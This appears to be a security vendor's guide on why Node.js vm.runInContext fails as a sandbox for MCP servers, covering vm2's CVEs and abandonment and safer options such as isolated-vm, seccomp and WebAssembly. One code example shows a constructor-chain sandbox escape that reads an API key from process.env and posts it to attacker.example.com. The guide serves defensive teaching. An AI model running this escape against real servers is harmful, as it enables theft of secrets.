Sandboxing · vm module · Node.js Security

MCP server vm.runInContext sandbox security

The Node.js vm module documentation states explicitly: "The vm module is not a security mechanism." Despite this, many MCP server authors use vm.runInContext or vm.runInNewContext to sandbox untrusted code — formula evaluations, user-provided scripts, LLM-generated code. This page documents the primary sandbox escape techniques, the history of vm2 abandonment, and the actual safe alternatives for MCP servers.

Why vm.runInContext is not a security boundary

The Node.js vm module compiles and runs code in a separate V8 context — a separate global object — but within the same process and memory space. The V8 context boundary does not prevent code from accessing the host process environment through prototype chain escapes, constructor traversal, or built-in function references that bridge the context boundary.

The fundamental problem is that any object passed into the sandbox context (as part of the context object) can be used to traverse the prototype chain back to the host process's built-ins. The this constructor chain is the most common escape vector:

// Sandbox escape via constructor chain — works in plain vm.runInContext
const { NodeVM } = require('vm2');
// OR: vm.runInNewContext(untrustedCode, sandboxedContext)

// The untrusted code that escapes the sandbox:
const code = `
  // Get Function constructor from the outer context through prototype chain
  const FunctionCtor = this.constructor.constructor;
  // Now FunctionCtor is the real Function from the outer context
  const process = FunctionCtor('return process')();
  // Full access to process.env
  const key = process.env.ANTHROPIC_API_KEY;
  // Exfiltrate via fetch (also accessible)
  FunctionCtor('return fetch')()('https://attacker.example.com', {
    method: 'POST',
    body: key
  });
`;

// vm.runInNewContext will execute this and the sandbox escape works
vm.runInNewContext(code, { someAllowedValue: 'hello' });

Every MCP server that uses vm.runInContext, vm.runInNewContext, or vm.Script to run any code derived from user input, LLM output, or external data is vulnerable to complete process compromise — full process.env access, filesystem access, and network access. SkillAudit flags this as a CRITICAL finding regardless of context.

Why vm2 was abandoned

vm2 was a popular npm package that wrapped Node.js vm with additional hardening: it patched prototype chain traversal, intercepted constructor access, and blocked certain built-in escape vectors. Despite being the most widely used "safe sandbox" for Node.js, vm2 accumulated a series of critical CVEs:

CVEPublishedTechniqueSeverity
CVE-2023-290172023-04-06Promise rejection handler escapes context boundaryCRITICAL 9.8
CVE-2023-323132023-05-15Inspect handler on Symbol escapes via custom inspectCRITICAL 9.8
CVE-2023-374662023-07-27Async generator handler escapes via prototype chainCRITICAL 9.8
CVE-2023-379032023-08-10Custom error class constructor escapeCRITICAL 9.8

After CVE-2023-37903, the maintainer officially archived the vm2 repository with the notice: "There are no mitigations. It is not possible to make vm2 secure." As of 2026, vm2 is abandoned and receives no security patches. Any MCP server that depends on vm2 is using a package with four unpatched CRITICAL CVEs.

Similar packages — isolated-vm (still maintained as of 2026), sandbox-eval, jailed — use varying approaches to process isolation. The security properties differ significantly between them.

Safe alternatives for MCP servers that need untrusted code execution

The actual safe options form a spectrum from "more isolation, more overhead" to "less isolation, less overhead":

Option 1: Worker threads with eval disabled (lowest overhead among safe options). Run the tool handler code in a Worker thread. Pass only structured data (not code) across the thread boundary. If the Worker receives data to transform — not code to execute — there is no code execution sandbox problem because no code is being run from user input. This covers the majority of MCP server use cases where the author confused "evaluating a formula" with "executing arbitrary JavaScript."

Option 2: isolated-vm (V8 isolate, strong boundary). isolated-vm uses the V8 isolate API directly, not Node.js's vm module. V8 isolates are the same primitive that Chrome uses to separate tabs — a strong, actively maintained boundary. The tradeoff is that code running inside the isolate cannot directly call Node.js APIs, only what you explicitly expose:

import ivm from 'isolated-vm';

async function evalUntrustedFormula(code, data) {
  // 256 MB memory limit — prevents runaway allocations
  const isolate = new ivm.Isolate({ memoryLimit: 256 });
  const context = await isolate.createContext();
  const jail = context.global;

  // Expose only structured data, no process/require/fetch
  await jail.set('data', new ivm.ExternalCopy(data).copyInto());

  // Timeout: 1000ms CPU time (wall clock, not process time)
  const result = await isolate.compileScript(code)
    .then(script => script.run(context, { timeout: 1000 }));

  isolate.dispose();
  return result;
}

Option 3: subprocess with seccomp (strongest isolation). Fork a minimal subprocess that has seccomp-bpf applied to restrict its system calls to a safe allowlist (read, write, exit — no network, no exec, no open on arbitrary paths). This requires Linux and a seccomp policy but provides OS-level enforcement that cannot be escaped through JavaScript prototype chains.

Option 4: WebAssembly sandbox (for compute-only workloads). If the untrusted code is a computation (no I/O needed), compile it to WebAssembly. WASM runs in a strict type-checked environment with no access to host APIs beyond what is explicitly provided via WASM imports. Tools like Extism provide a structured plugin API over WASM for MCP server extension scenarios.

SkillAudit findings for vm module use

CRITICAL vm.runInContext / vm.runInNewContext used with any user-derived input. Complete process compromise is possible via constructor chain sandbox escape. Grade impact: −25. Blocks installation under min-grade-C policy.
CRITICAL vm2 dependency detected (any version). vm2 is abandoned with four unpatched CRITICAL CVEs. Presence of vm2 in the dependency tree is a CRITICAL finding regardless of how it is used. Grade impact: −25.
HIGH eval() or Function() constructor called with external input. eval and the Function constructor are direct code execution without any sandboxing — not a vm issue, but the finding is related. Grade impact: −20.

Related: Worker thread isolation · MCP server sandboxing overview · Tool chaining attacks